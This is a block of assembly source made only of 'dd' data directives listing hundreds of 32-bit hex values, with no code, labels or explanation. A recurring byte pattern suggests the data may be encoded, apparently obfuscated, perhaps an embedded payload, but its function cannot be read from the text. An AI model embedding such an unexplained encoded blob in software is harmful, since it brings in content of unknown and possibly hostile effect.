dd 5530EC46h, 861BA143h, 705CD545h, 6BCADE07h, 49325612h
dd 3A525675h, 0D0D4DC4Bh, 0B1C7565Dh, 0B138BFAEh, 527D5657h
dd 0EA424AA8h, 43D4E5FCh, 3B3D56EAh, 0B1325674h, 0BE32564Fh
dd 0B13257D8h, 0B132AEAEh, 0B13247BEh, 19FEA9ABh, 4A016C44h
dd 0CF4E3226h, 64F5E85Bh, 0B1328A5Bh, 0BE3256A4h, 0B1324328h
dd 0B122BF57h, 4BD456ABh, 790272BDh, 57AB8DABh, 8EC8F1BDh
dd 0B132642Eh, 0B13FBFA4h, 0A58456AEh, 5243283Eh, 0F0A455D6h
dd 0B12934CCh, 0A0DBAAEAh, 0F8325675h, 1C8C8248h, 0BE9E4FBEh
dd 6C7E8236h, 0F8E9C77Ch, 3A5256ABh, 178A300Dh, 0B132375Dh
dd 58325689h, 0B13256B4h, 7F1E35FDh, 0F7C18C71h, 4D88EC67h
dd 0B132A80Ch, 0B132473Ch, 58DE4CEAh, 16C0ACE5h, 5494B3FEh
dd 30C50AADh, 0B132F1BFh, 0B135DD58h, 0D75256ABh, 72B9AE5Eh
dd 4432568Bh, 0B4DB5675h, 983256BAh, 984616F7h, 0B1CA56AEh
dd 0B13FBF57h, 0B35A56ABh, 0F5D8A26Fh, 0D5E87094h, 0B16B6407h
dd 5852AFBAh, 0B1325650h, 781BB796h, 0FA1BB91h, 14E8F7F9h
dd 0B139BF01h, 9F2956EAh, 84176924h, 458A9583h, 0B132374Dh
dd 0B1325947h, 3C775557h, 0CA13E100h, 10D8CD11h, 5B091168h
dd 0A0DB5675h, 0C43256BAh, 0DC3DF11Eh, 243ED33Fh, 0DAFA828h
dd 824F0562h, 0B132513Ch, 0D5D35BEAh, 0E0612B46h, 0BE5256BAh
dd 0B13255DBh, 7EB930AEh, 0B1B65901h, 0EB3256ABh, 443256B4h
dd 0D15256EAh, 0B132DB7Ah, 0E28C56BAh, 0D028F655h, 583256CFh
dd 0B132565Eh, 0F2300533h, 7D53919Fh, 58325600h, 0B132567Eh
dd 35205CCh, 66471EC0h, 0B1306242h, 6EB33657h, 0C72A0C57h
dd 583256B4h, 0B13256FEh, 26356B5Bh, 0DB61F613h, 0ABAA6327h
dd 2B6DBA7Eh, 0B979E58Bh, 0B1CB56ABh, 0BFB059D5h, 0D13256EAh
dd 0B132DA7Ah, 323D56BAh, 0B132565Dh, 0B132A3CFh, 67B33037h
dd 69B870C6h, 0D13256B4h, 0E3DBE59h, 0B13237A5h, 0B135BEDAh
dd 0FBA5565Dh, 0A7A223ADh, 0E8533665h, 0B130D3A4h, 43B956D5h
dd 0D132568Bh, 0B1325D9Dh, 0A1BAACBAh, 98F5948Dh, 5B746BC9h
dd 0B13259BFh, 6D604DABh, 2C658CDEh, 0C42D6331h, 8F38E6E1h
dd 608B0EE5h, 0D0188901h, 0BBDB56AEh, 0AF325657h, 97E6ECC9h
dd 0DFF9B415h, 0BE3256F3h, 0B13257FDh, 0B132AFBAh, 3DC4D63Dh
dd 0B153AE25h, 0B9B55957h, 0BE3256ABh, 0B132545Ch, 0B15336EAh
dd 0BADBAE75h, 0DA3256BAh, 22D35424h, 9734705Ch, 0B1326F05h
dd 0B133D1A4h, 0B1CA56D5h, 0B132AFEAh, 79B93015h, 0B1539530h
dd 0B132AA5Dh, 4F8930CEh, 648B309Bh, 0B13237FBh, 0B13AD2DAh
dd 445256EAh, 84DAD713h, 0B132374Fh, 0B136DB52h, 3B5256AEh
dd 0B1323795h, 0F7F1D7CBh, 0BE114945h, 0B1325764h, 0B153A375h
dd 0B9BB59BAh, 0BE32565Dh, 0B132542Ah, 0B1533657h, 0B132AAABh
dd 0B132443Ch, 0F95921EAh, 0AE964216h, 0BE73010h, 678D1830h
dd 0B1805BA3h, 0B13ABF57h, 0F47156ABh, 70B79218h, 0B13283D5h
dd 148A3015h, 76B93058h
dd 5832563Ch, 0B13256A3h, 72E15EDBh, 0E9C48971h, 0A0E100DFh
dd 583256EBh, 0B132567Ch, 0D4BCAC8Eh, 1FBBBF3Ah, 58325628h
dd 0B132565Dh, 89B4E420h, 5FC7383Ah, 0B132FF3Bh, 51B33015h
dd 3F3D81B9h, 0B132565Dh, 0D13256CFh, 3A54C2E6h, 0B1323760h
dd 0B121D2DAh, 0BFDB56EAh, 3B325675h, 0F70646B6h, 59CEC3EEh
dd 86E83DB7h, 5832563Eh, 0B13256B8h, 44C94C90h, 0A1251903h
dd 0D48C0A9Ch, 152E612Dh, 0B152983Ah, 0ADB359AEh, 0D1325657h
dd 0B1324442h, 0BAE56CD5h, 22112AFDh, 993270E1h, 0BABE109h
dd 0D727AE84h, 0B153AF25h, 0B138BF57h, 0FF9656ABh, 5509FF45h
dd 0D3AA7B85h, 0A5DB5675h, 0F63256BAh, 86279123h, 0FD330C24h
dd 3E9B8A2Fh, 0C6605A47h, 0B11E9083h, 58C736EAh, 0B1325661h
dd 0D73FAF47h, 87F2ECEBh, 0E2ADDAF3h, 0F0A1282Ch, 0E6737AC7h
dd 0D13256B4h, 0DDC0ED8Ch, 0D0E5E17Ah, 0B8DB56BAh, 0F532565Dh
dd 0F4D45A4Eh, 0A6211465h, 0B133DAA4h, 0B1CB56D5h, 0BEDB36EAh
dd 84325675h, 0E077D9C2h, 57A09259h, 340E445Dh, 5862D65Eh
dd 0B13256BBh, 0C18C1760h, 933E8A87h, 0C654BA1Ch, 0B6ABCC30h
dd 0B1323706h, 58325652h, 0B1325644h, 8F19D29Fh, 387A37BEh
dd 73AB7935h, 6C6D3383h, 0B110D076h, 0A1DBAE5Dh, 3B3256AEh
dd 9001BE91h, 0D47217B4h, 0AA0645ECh, 0B1D235DEh, 0B123BF75h
dd 0FFFD56BAh, 35C7EA14h, 1EDE5664h, 0A6AC044Ah, 0B18C0C32h
dd 63D36D5h, 0B1CA3713h, 0B132AF75h, 0BE325642h, 0B13249D5h
dd 0A8B059AEh, 58325657h, 0B13256BFh, 1B4AC29h, 1D8BD3C6h
dd 62F90BDAh, 6B873C0Eh, 0C58B2B8Ch, 0B1CB56AEh, 3A3D3657h
dd 0B13256A8h, 0D7FCE1DAh, 0D0BCDE51h, 3B3D5675h, 0B13256AAh
dd 0B134BF3Dh, 277456AEh, 0F3BBC3F9h, 0D0A3982Bh, 323D56D5h
dd 0B13256EBh, 5832568Dh, 0B13256B6h, 2B288CC9h, 92D179A7h
dd 0DE06E13Fh, 0BBDB56ABh, 693256D5h, 0D02F9A48h, 16F7ADBFh
dd 0A0DB362Bh, 0BB32565Dh, 0CBF742ACh, 0E364FDB1h, 7C66CF62h
dd 57453408h, 478830BDh, 0B153081Bh, 0B137BFBAh, 0D49F565Dh
dd 0B19A6C2Ah, 4F833657h, 0B1B959CBh, 0BE3256D5h, 0D0539E55h
dd 0A1DB5675h, 0EE3256BAh, 0AA88AEEh, 4E79CE42h, 0D23271F2h
dd 0D1559A67h, 738D5987h, 0B153AAB2h, 3A543675h, 0B1323748h
dd 0B1325AB4h, 140E64AEh, 0E823AD51h, 6D65500h, 0BE325645h
dd 0B132576Bh, 0B132AF75h, 0B128D6B5h, 5852565Dh, 0B13256BEh
dd 630F8DF2h, 0ADEFF987h, 0A9EBCC9Fh, 38029DD6h, 0D0FBE97Ah
dd 0B1CB56BAh, 4F87365Dh, 0B120BECEh, 0A3A85657h, 18E45596h
dd 18A67AE4h, 55655D7Dh, 0B257347Eh, 77B930E3h, 3B3D373Ch
dd 0B13256A2h, 0B1BC5937h, 0D73256ABh, 0D0CD166Dh, 383D56EAh
dd 0B1325671h, 0D0E1E1DAh, 0B3B5593Dh, 0E23256AEh, 77855909h
dd 0D13256CAh, 0B132583Dh, 8167F1EAh, 0C5C445E6h, 0EF6EDF4Dh
dd 0BE72D11Fh, 0D76C9511h, 0B153A5DCh, 305436ABh, 816140Ch
dd 0D5C4D84Dh, 0BDB05914h, 0BE3256BAh, 0B13250D1h, 0B1BB59AEh
dd 0B1325657h, 0ADB659ABh, 0BE3256D5h, 0B132406Bh, 0B123BF75h
dd 764856BAh, 5395968Ch, 92DE8256h, 0DBBBDBD4h, 0BE9CCD63h
dd 0B1325755h, 0B132AFEAh, 0B134D67Ah, 0D15256BAh, 0D053363Ch
dd 0B122D5A1h, 0BADB5657h, 0B83256ABh, 0D248A6E6h, 34013A64h
dd 0B132B433h, 0CE8930DAh, 0D0EEE602h, 3E3D56AEh, 0B1325646h
dd 0B1325A42h, 0F06C9BD5h, 0BE30B1FBh, 0BD8E5CEBh, 0B8B159B8h
dd 0D132565Dh, 0E9E3D7C8h, 0D06B004Bh, 58CB56ABh, 0B13256DAh
dd 0C90D38B3h, 86FEAA2Ch, 3C59AC81h, 0B15F99DCh, 0B132AEAEh
dd 4D3256A2h, 0D75256ABh, 0BBDB905Eh, 0DF3256EAh, 0AFE011B6h
dd 0F0B47Bh, 0B1CA37BDh, 0B126BFAEh, 228E5657h, 2A5C6B54h
dd 6A96F651h, 0B4D9E2F8h, 881BE7E8h, 0B13231F5h, 0A6B8593Dh
dd 583256AEh, 0B1325645h, 0ECF5A00Fh, 0DA544EC6h, 0DD86A43h
dd 3D26FD99h, 3054953Eh, 0D0D7E98Dh, 3C3D56AEh, 0B1325651h
dd 63DAFCBh, 0B132372Fh, 0B1325C03h, 635B1675h, 6107741Ah
dd 0B17D50ECh, 0B137BFAEh, 3B615657h, 0B134BCC5h, 0B13ABFD5h
dd 1F9156EAh, 4283114Dh, 0B132C1DDh, 0D72AE03Dh, 0A7698F2Fh
dd 0D1325636h, 0F7BBE8CDh, 4D3256B4h, 3F3D56EAh, 0B132565Fh
dd 0B126BFDAh, 9CCC565Dh, 61AE745Fh, 13344C29h, 81496BD1h
dd 6C8CD28Ch, 0BBDBB93Fh, 3E325675h, 0EFCF74A2h, 64D972ECh
dd 30523743h, 0DB5EB1BCh, 0D0CBDCCCh, 595256D5h, 0B13256E0h
dd 6C7827D2h, 88C29EB3h, 0B9DB482Dh, 2A3256AEh, 4B48B79Ch
dd 0E913D93Fh, 0D0CBE9DAh, 303D56EAh, 0B1325679h, 0B134D5B5h
dd 3D3D565Dh, 0B13256AEh, 0BADB5657h, 0A33256ABh, 38F9D534h
dd 5C58EA02h, 0B132DB9Ah, 0B1324553h, 49A7915Dh, 0EC5ED60Fh
dd 7EC6F3EDh, 0CFBB4F8Dh, 0F72D6644h, 0B1C756EAh, 0BABE5975h
dd 583256BAh, 0B132565Bh, 4A1275B5h, 0A1DB79ECh, 643256ABh
dd 0BF807598h, 67002795h, 873262AFh, 0B1EBB227h, 0D752AF5Dh
dd 49904917h, 0D1325636h, 0B130DBA4h, 0E96356D5h, 0A11E98Ch
dd 58325614h, 0B13256B4h, 187AD7C1h, 0F75E852Dh, 85509EECh
dd 0B132F743h, 0A9B559B5h, 593256EAh, 0B1325667h, 837E256Ch
dd 5DB909FEh, 7B31426h, 0BE7A6164h, 0D16A07CFh, 0B132593Dh
dd 4CED71EAh, 0B16A8A0Ch, 839BDFD0h, 7DD8FA63h, 768559F0h
dd 0B1323736h, 0B13DBF53h, 0A7C156D5h, 382CDC89h, 75588BB0h
dd 0F2403192h, 0BE325627h, 0B1325C20h, 3D3D3657h, 0B13256ABh
dd 0B153805Eh, 5852A3EAh, 0B1325665h, 0E83FBCD5h, 7C8D5DE2h
dd 0DF7EB988h, 33A2D743h, 0B1325142h, 7BE68D5h, 72B14FBAh
dd 0BE325614h, 0B1325A37h, 363D365Dh, 0B13256AEh, 300BE931h
dd 443256CAh, 0B132423Ch, 0B04C2FEAh, 0A917FDh, 0FB7EDD45h
dd 3F0DC277h, 0C7DD267Eh, 4932564Dh, 0E989A3CBh, 0D034DDC9h
dd 0B7DB56EAh, 50325675h, 18C6198Ah, 583256EAh, 0B13256BFh
dd 0DA7992FCh, 14A78477h, 0AFE5C1D0h, 15B7EF26h, 0BE3256DBh
dd 0B1324C3Bh, 0A3DA365Dh, 2C3256AEh, 0A2C098FEh, 16AF9D2Ch
dd 24393BECh, 13A7070Eh, 58530E52h, 0B13256AEh, 62C9EE0Dh
dd 38DC2B8Ah, 970B0822h, 3A96C6F8h, 22AE85A6h, 3E3D56EAh
dd 0B132567Dh, 0B130D1B5h, 0D052565Dh, 0B12ED1A1h, 58525657h
dd 0B13256BFh, 0C65962F6h, 9669E093h, 49D581D3h, 7C59EC59h
dd 1834A547h, 0B1323752h, 0B127DE58h, 0E65256ABh, 0B13EBF8Dh
dd 19BC56EAh, 0A5A08426h, 989959EFh, 0B153B87Eh, 0B13EBFAEh
dd 0ED055657h, 0EFD093E7h, 7AE493DDh, 0B132BAB8h, 5832568Dh
dd 0B13256B5h, 7B393AFBh, 3AEE84E3h, 0CFBCD3FCh, 0B1C4CAE3h
dd 305436D5h, 58187608h, 0B132567Ch, 74D01461h, 4281F265h
dd 3F3D37E7h, 0B1325656h, 44325657h, 0B1CA56D5h, 0B132AAEAh
dd 0B12FDE7Ah, 595256BAh, 0B132564Eh, 1DC83470h, 93C0E131h
dd 14DF0EB4h, 7125A9B8h, 0E81D5347h, 0B1530F24h, 0B121BFBAh
dd 7F35565Dh, 9DC17EEEh, 9E7E0829h, 377E51A7h, 78DEAC77h
dd 0BE325649h, 0B13257F2h, 0B132AABAh, 0B8DBAE3Dh, 2D3256AEh
dd 2B55D635h, 7D7F22FFh, 0B132AEB4h, 0B1325003h, 117BAC75h
dd 0D119AF89h, 0B130D952h, 48556AEh, 0FF6D94D6h, 0B1534DE4h
dd 0B132AAD5h, 0B1324503h, 0A61B4175h, 36EF06C0h, 3E1B69F8h
dd 8FCF14C2h, 0C03C9A92h, 3E3D56ABh, 0B13256D2h, 0B133DBE5h
dd 0B1CA5675h, 0B13ABFBAh
dd 89FB565Dh, 33BDC976h, 0BE523CA2h, 0B132512Ah, 508A36D5h
dd 0D049671Ch, 0B132569Dh, 5BB30CBAh, 0B69CC891h, 0B1325147h
dd 0C351E857h, 9E25920Ch, 0B13ED9DAh, 323D56EAh, 0B1325673h
dd 0B132DFB5h, 0F52565Dh, 0EE4F0760h, 3C5303E3h, 1CB90F2Eh
dd 67B236D2h, 33BB379Eh, 0B69CD0BCh, 0A7E5D7DAh, 0D73D2419h
dd 3C539C25h, 1E5E75D5h, 0B8B159ACh, 0D13256D5h, 3CF0D78Ch
dd 0D05336CBh, 49B0DF4Fh, 0BE35F8DBh, 0B132572Ch, 0DDDAAE57h
dd 4D32569Dh, 0B1301B3Dh, 0BDBB59EAh, 0BE325675h, 0B1325032h
dd 0B1B7595Dh, 763256AEh, 1FB412D5h, 0B13256ACh, 0B13EBFD5h
dd 0A5AD56EAh, 0ACEA8075h, 5302C8EFh, 0BE604EC6h, 0B132402Eh
dd 0B123BF57h, 869656ABh, 0D7746D6h, 0C962393Bh, 17066695h
dd 77D3982Ch, 19344FD8h, 0BE5200A9h, 0B1325BDCh, 0B13ABFABh
dd 270956D5h, 0B7FD82A3h, 0D0C70038h, 198A04D2h, 0BDBA59C1h
dd 0BE3256AEh, 0B13250D3h, 0B1BC59ABh, 4E3256D5h, 193EB75Fh
dd 34BFA372h, 0B6992EA0h, 58E2A9A5h, 0B13256ABh, 959ABF23h
dd 9CB7DFDBh, 0D135FEC6h, 0B138BE8Ah, 8BFB5675h, 7FAC981h
dd 0EF1DD839h, 0B13EBFF7h, 3EA95657h, 0A1695FE5h, 2FABB5F8h
dd 0D0533586h, 0BADB521Fh, 0FF3256BAh, 0ABE628DFh, 0B9B8CBBAh
dd 0B15A9326h, 583256BBh, 0B13256DDh, 0B15580E3h, 4819B3D6h
dd 0B23F16D2h, 0A1DA365Dh, 0B43256AEh, 611CEEFAh, 0C420547Bh
dd 0D6C2007Ch, 0E884A5A0h, 0B1583789h, 3F3D36DAh, 0B132565Dh
dd 0B1324547h, 3244657h, 77B97F88h, 0FDCF0E1Ah, 8D91DF7Eh
dd 851C0251h, 0EACE01DBh, 383363Ch, 0E67BA915h, 61CD3744h
dd 5868AA57h, 0B13256C4h, 0A9C7284h, 6B40EAE5h, 3E02F7B2h
dd 0BD630BD0h, 0BEF25D2Fh, 0B13293D3h, 33BBAFABh, 0B69CD091h
dd 0DBB0DF12h, 4D35F8F3h, 0B23F1603h, 49B9AF5Dh, 58D7DCCEh
dd 0B1325643h, 81EFED1Ah, 6F067E7Eh, 0F7F47612h, 8D727418h
dd 43B7C169h, 58F2653Ch, 0B13256A9h, 5A1391DDh, 425CCBBBh
dd 5860AA7Fh, 0B13256E6h, 0DA997772h, 395961C6h, 4B186E46h
dd 0D9CA52C4h, 0B1324657h, 0B5323E5Eh, 0B7DB56D5h, 1A3256EAh
dd 0E0D1B3DEh, 57B33620h, 0F3550D33h, 0D6FBD7C8h, 0B15837BFh
dd 0B1325B42h, 27B41ED5h, 65997A04h, 71D3C744h, 23CD8DADh
dd 0B69A4570h, 0B138D4A1h, 0B4DB5657h, 0A53256ABh, 4B14C886h
dd 33BBA3B0h, 0B69CDF75h, 0B1324753h, 0F71BC25Dh, 8569BBB0h
dd 9F2A1D74h, 9423F95Bh, 0BE53F0C2h, 0B1325766h, 34B9A375h
dd 0B69CD0FEh, 0A1DB95A8h, 13256AEh, 0F20D69DCh, 0D23BF09Ah
dd 1AACE8F2h, 58BE77C4h, 0B1325673h, 0A9522F93h, 0BE528D70h
dd 0B1325024h, 61B23657h, 0BE53AFC7h, 0B1325D50h, 0B134BFEAh
dd 0BD9A5675h, 89B62514h, 81CFD49Ah, 0B1325106h, 0A3DB5617h
dd 0D03256ABh, 69CEB30Fh, 6D1814B9h, 802BA896h, 650CB06h
dd 0C0B09193h, 0B135FEA9h, 49325647h, 0B122BFCAh, 9A2456D5h
dd 6099413Ah, 2C01D289h, 6A7A8565h, 58F1B3EBh, 0B13256BDh
dd 1E2EE641h, 592F2B26h, 0D4D14F25h, 42F2CB50h, 58BC05B1h
dd 0B13256B1h, 496638D1h, 3C2EB868h, 0D1A08C4Bh, 0B1325142h
dd 16B8D4D5h, 5AF164C6h, 3776ECFEh, 333D5114h, 0B1325656h
dd 0B1325047h, 5DFB0957h, 321CBC6Dh, 353D56EAh, 0B1325640h
dd 0A14DD58Dh, 0D2B659B8h, 0BE32565Dh, 0B1324227h, 0B13DBF57h
dd 17DB56ABh, 46B3B324h, 941739E6h, 0BD434796h, 0A14DD51Bh
dd 0EEB65959h, 0BE3256AEh, 0B13257D6h, 76B1AAABh, 308736C1h
dd 0B1325D02h, 0E5920275h, 0AC5DC2A0h, 0EE16B3CFh, 58530E56h
dd 4ECDA9F4h, 0B126D4A4h, 353D56D5h, 0B13256E4h, 0B1325F9Ch
dd 0A9C6F6BAh, 6EA6DCCCh, 0F6F505EEh, 0B1325747h, 0B13BBFABh
dd 20B756D5h, 49DBB207h, 0D1A5ABF0h, 0D0FADDDCh, 4ECDFFB4h
dd 0F6F5AE51h, 0B1325547h, 2ADBA3ABh, 58CDA92Ah, 0B13256E0h
dd 0A3E8CA39h, 2F1BEAC7h, 585396E1h, 0B13256BFh, 0EB35ECD0h
dd 345517F7h, 0F2B23D7h, 613C0B72h, 0BFDB9585h, 0A23256BAh
dd 0E9044339h, 0C43F98E4h, 0B5EEB3ADh, 3ACA03CAh, 0B139BF39h
dd 1EEE56EAh, 0E86740B8h, 8B50C88Dh, 363D36BBh, 0B13256BAh
dd 0B13259BEh, 0A5DBCEABh, 0E728382Fh, 44D51C89h, 874E8A48h
dd 0B132BE4Fh, 3068565Dh, 1F910744h, 0BAB05950h, 583256ABh
dd 0B13256D3h, 0A503B75Ah, 0BBDBF877h, 0A43256BAh, 539776B0h
dd 0A17662D0h, 9280DD8Bh, 5835F822h, 0B13256DDh, 34F69BAFh
dd 78E769B4h, 0BE3A1331h, 0B13257D0h, 0B7BBA3AEh, 0B127D358h
dd 0A1DB56ABh, 0B93256D5h, 1FBC6302h, 1AA77608h, 6F495E5h
dd 4482B88Fh, 3811D42Dh, 443651F9h, 58FBAFCAh, 0B13256DEh
dd 69DEADF9h, 0CBCD8C96h, 7351F2D2h, 0BCDB5659h, 0AE3256AEh
dd 28CD459h, 12996F26h, 0C563C3F3h, 0B13EBF8Ah, 0F3AC5675h
dd 8FC02DFDh, 29055531h, 0B1DA2A02h, 0EB325657h, 12C8BC2Ah
dd 3A3D517Bh, 0B13256EBh, 0A2DB3680h, 43256BAh, 9DA819EBh
dd 0CC493E19h, 0E9751FCh, 201735CCh, 0D15358D8h, 120CB554h
dd 67B9307Eh, 0B180DDDBh, 4D35F8D4h, 3811E495h, 353D51F9h
dd 0B132573Bh, 0B129D0DAh, 373D56EAh, 0B1325660h, 0B1324653h
dd 0FD9D635Dh, 54CFE500h, 551EB792h, 543DF925h, 0D10CDD0Ah
dd 31ED9F6Bh, 35257F1h, 0D053AFD9h, 0B4DB89D6h, 0AF3256AEh
dd 6F9E6420h, 0B07DE0A4h, 0B123D3DAh, 0BDDB56EAh, 6E325675h
dd 0E7AFDE97h, 67532791h, 47F36CE1h, 0BEB25710h, 0B1327B2Eh
dd 0B0BB59D5h, 4D3256EAh, 0BEF4DD15h, 0B253A505h, 0B120BF84h
dd 17E156AEh, 2949F3DCh, 8FE0F1DBh, 1F0A5999h, 24012A6Dh
dd 0B132409Ch, 6819AFBAh, 0B13FDE52h, 0B9DB56AEh, 0A4325657h
dd 3584FED0h, 0F2AA4508h, 0B135BF8Ah, 3C8A5675h, 9E77ADAh
dd 70B930DBh, 0B13CBFCFh, 0B48E5657h, 502365F3h, 33DE1395h
dd 89F3C20Eh, 0B13BBF36h, 246456BAh, 0DB05A35Ch, 3AFE25F8h
dd 191E0FD2h, 3CB9A3ACh, 0B69A70ECh, 0B138D1E5h, 0B4DB5675h
dd 1C3256BAh, 0BC326768h, 333D8E95h, 0B1325632h, 305407CBh
dd 0E8264917h, 1A80BE6Bh, 8A531BBAh, 0FFB55963h, 0BE32565Dh
dd 0B1324B2Dh, 0A6B25957h, 583256ABh, 0B13256C7h, 0AD9FB7BEh
dd 0A67EF08Fh, 62AF893Dh, 0F26CE9DBh, 303D2FA8h, 0B1325656h
dd 0B5F4D552h, 0B132473Ch, 0CAEBD9EAh, 10E5C629h, 3332D6DFh
dd 0FCA8F06Dh, 28DBB68Ch, 0D1CDA9A9h, 4D99982Bh, 0BEFD6DB4h
dd 0B132716Eh, 0CBBAE75h, 0B69A7083h, 4F45BFA4h, 0BFDBA951h
dd 97325657h, 9012DF38h, 8EABB45Bh, 9FB178D7h, 3A54365Ch
dd 0D0AEE271h, 0A8B9593Ch, 0D13256AEh, 0B132D158h, 0BDDB56ABh
dd 333256D5h, 0ACB51357h, 0BC94AB8Fh, 0D0627467h, 0B139BF9Eh
dd 44FB56AEh, 5F24E238h, 0E3E4AC07h, 0BE52369Ch, 0B1325461h
dd 0D7680175h, 0D06C1C05h, 0BC28EE3Dh, 0BCDA7FC9h, 0C0325657h
dd 0B6438CFEh, 7E06010Eh, 957D368Ch, 0B132519Ch, 5B8E3EBAh
dd 992F6B61h, 0B1DA37F1h, 0EB325657h, 1708BC2Ah, 323D517Bh
dd 0B13256EBh, 0B122BF8Dh, 0DFC56BAh, 7DB621CDh, 640F1211h
dd 0E3D02798h, 0BB92AD6h, 0B69CDFD5h, 0B032EF12h, 3B3D5675h
dd 0B13256AFh, 0B13DD352h, 0BBDB56AEh, 3F325657h, 0D30B4475h
dd 0C0192B2Eh, 49F265ECh, 313DFD86h, 0B13256BBh, 0B1B0DDA5h
dd 4835F827h, 3811D4DEh, 0BBDB5105h, 0D3256D5h, 0E41A84CBh
dd 69CBE0Eh, 333D3710h
dd 0B1325642h, 0B12BDEA1h, 0A5DB5657h, 3B3256ABh, 0FDA5C2D7h
dd 0BC7897DCh, 0F6AF7D4Ch, 0B3EBC2A6h, 72A620DCh, 6EB330CEh
dd 0BCDB2BD7h, 493256ABh, 13E2E6CFh, 0D8FE383Eh, 0B1BF8E93h
dd 0BE5236DBh, 0B13244D3h, 0B13EBEAEh, 68845657h, 0E299DFA7h
dd 0F183F492h, 96C761Fh, 0F159FABAh, 0B132BEDBh, 3068565Dh
dd 1F954744h, 0B120BF50h, 0E01356ABh, 0ABB613BDh, 9CB5C34Eh
dd 66B0C735h, 1CBCE419h, 0B13FD752h, 0B9DB56AEh, 1D325657h
dd 4CC7F1B2h, 7750D352h, 19344F6Fh, 3A3D0072h, 0B13256A8h
dd 0B1325BB4h, 0F24886AEh, 8818F7D5h, 5810DA21h, 885A3E6Bh
dd 44E64987h, 0BDD3E38Ah, 3CC75112h, 1A4A4CD8h, 0EE6336A9h
dd 4E53A4DCh, 0A2DB367Bh, 8D3256D5h, 0FC4804CBh, 0A7543B77h
dd 69018702h, 4F03BD0Dh, 0F54EAF1h, 0E3537F3Fh, 0B1325C42h
dd 0F985DAD5h, 9DC2C365h, 0E10754B0h, 0B1325F53h, 6B4EB65Dh
dd 0A219115Ch, 0B15AAF79h, 5832562Bh, 0B13256DDh, 6CC954B1h
dd 0D223285h, 0B6DB56D0h, 1F32565Dh, 0C4CAEF07h, 3CDC950h
dd 0B69CD0EFh, 0BEE2A92Dh, 0B132466Fh, 0BBB85975h, 583256BAh
dd 0B1325658h, 186E54ACh, 0EBCB0E58h, 303D3657h, 0B13256D0h
dd 0C53EF153h, 0B121BE60h, 2C9C56BAh, 0DDF3D671h, 2875C602h
dd 0B897177Dh, 3034CD4Bh, 0D9530847h, 0B132D6EAh, 0B12AD47Ah
dd 0A2DB56BAh, 0C632565Dh, 2EA0A9ACh, 64B1FD8Eh, 9DBDBF9Eh
dd 424FC58Fh, 0B1584A39h, 0B139DF7Ah, 0B7DB56BAh, 0F632565Dh
dd 87A8AFBEh, 0A7BD59A0h, 0D13256ABh, 0B13CBF20h, 38BA56EAh
dd 33FC2F6Ah, 37EDFC44h, 4208075Eh, 0B180A9CFh, 5835F8DEh
dd 0B13256A2h, 0EF5488h, 0E2D20783h, 48E2A9DFh, 49F1AADBh
dd 5DB9AF08h, 0B1325E47h, 1024A57h, 76AD363Dh, 0BADB3629h
dd 6E3256EAh, 95341247h, 7EAB047Ch, 0B1DAC3A8h, 0EB3256AEh
dd 1984BCD6h, 0A5DB5105h, 0C83256D5h, 14F33D34h, 0E96C64FCh
dd 5CA558h, 13B2E189h, 58C7E24Ah, 0B132565Fh, 0ABA47C77h
dd 3024477Bh, 583A2361h, 0B1325678h, 0CC71FDA3h, 1CA6C6FEh
dd 1B11133Fh, 0BF96BED5h, 305256ABh, 178A9203h, 4D6737FBh
dd 37FBC48Ah, 0BE525114h, 3054AEEAh, 0D0FDF866h, 0B13EDC58h
dd 343D56ABh, 0B13256D3h, 0B132DBE5h, 586F5675h, 0B13256BCh
dd 0C2BE27CCh, 0C409A72Ch, 0BB7595Bh, 58CDA954h, 0B13256C4h
dd 3E20BA5Fh, 590E912Ah, 5AF09AE3h, 29945866h, 0BF7ABE1Bh
dd 0B7DB5657h, 0BF3256ABh, 881D2999h, 3A3D37CFh, 0B1325674h
dd 393D9F46h, 0B1325655h, 0B130DDA1h, 0D0525657h, 49325E69h
dd 0EA6336B5h, 0B1325803h, 0B4431E75h, 490DB841h, 0B581D1D6h
dd 0D0FA3160h, 0B132D758h, 0E45356ABh, 0B132473Ch, 0D29BBEEAh
dd 452B4DF2h, 855C7A39h, 2844EAA9h, 5DB93E45h, 4DF6D5A2h
dd 0B1325D42h, 0C45D8AD5h, 0D70F118Eh, 0B47B4F13h, 0D165AAECh
dd 0D7E8DD3Dh, 6F59B72Fh, 0D1613736h, 0BDD3A02Ah, 0FA822F3Ah
dd 0B132BE8Bh, 30685675h, 1F9BBF50h, 0B0B5595Ah, 493256AEh
dd 0B947DDAEh, 0B133D0A4h, 58CA56D5h, 0B13256E5h, 0AC0538F4h
dd 0B765FB90h, 4EB2DC58h, 3A5A4C2Eh, 0D752462Ah, 7EC6942Ah
dd 3F3D01B4h, 0B13256EDh, 50B33015h, 0E753D946h, 0B138DC52h
dd 0B4DB56AEh, 3A325657h, 0FE6782D4h, 0B1330C3Dh, 7139AAEAh
dd 0B1F0D27Ah, 585256BAh, 0B1325655h, 95207DE6h, 0E3B8E905h
dd 9001ECCDh, 0BECADDB4h, 0B132506Ch, 0D7CA3675h, 0E4539431h
dd 78A0A9A4h, 0D135F828h, 608D5937h, 0D7530EFBh, 0CC8BB954h
dd 8ACB0B8Bh, 353D5A00h, 0B132563Ah, 0B1325AB4h, 42E68BAEh
dd 73ED104Fh, 5DF81EA7h, 0AFB9306Ch, 51B3308Ah, 63D563Bh
dd 343D3762h, 0B132565Ch, 41D5D657h, 0B121D158h, 0BFDB56ABh
dd 6E3256D5h, 30DB7905h, 7CFA0A66h, 6C150EB3h, 0D12CDC59h
dd 0B1325A47h, 0C8384B57h, 37AF2E68h, 0ABFE2704h, 0C78D0476h
dd 0EA4B8403h, 41D1D6DBh, 9612BEA4h, 3A5256AEh, 0D0CADD94h
dd 0D7F4DCCBh, 0D0737D6Fh, 4ECD4E03h, 0B0BA598Ah, 483256BAh
dd 0D1CE2BD4h, 5FB33056h, 5953552Fh, 4ECDA050h, 3E3D0D2Ch
dd 0B13256FBh, 0B1325A9Ch, 0DC9AEEBAh, 2E553D19h, 0FF9B4BEAh
dd 3F3D0954h, 0B13256A7h, 0B134DFDAh, 313D56EAh, 0B1325675h
dd 3A5436E4h, 0B126BFA4h, 6F6956AEh, 83CD3482h, 1EC0248Fh
dd 53889ED6h, 8256B7E7h, 3A530508h, 3B3DAAFFh, 0B132565Ch
dd 0B9DB9F56h, 0D3325657h, 0A9B7B316h, 738C63CDh, 303D56E6h
dd 0B1325666h, 0B1325853h, 0E2B37F5Dh, 0E6B636DBh, 2898BE40h
dd 0E4CA425Ch, 0B13ED6DAh, 343D56EAh, 0B1325673h, 0B132D5B5h
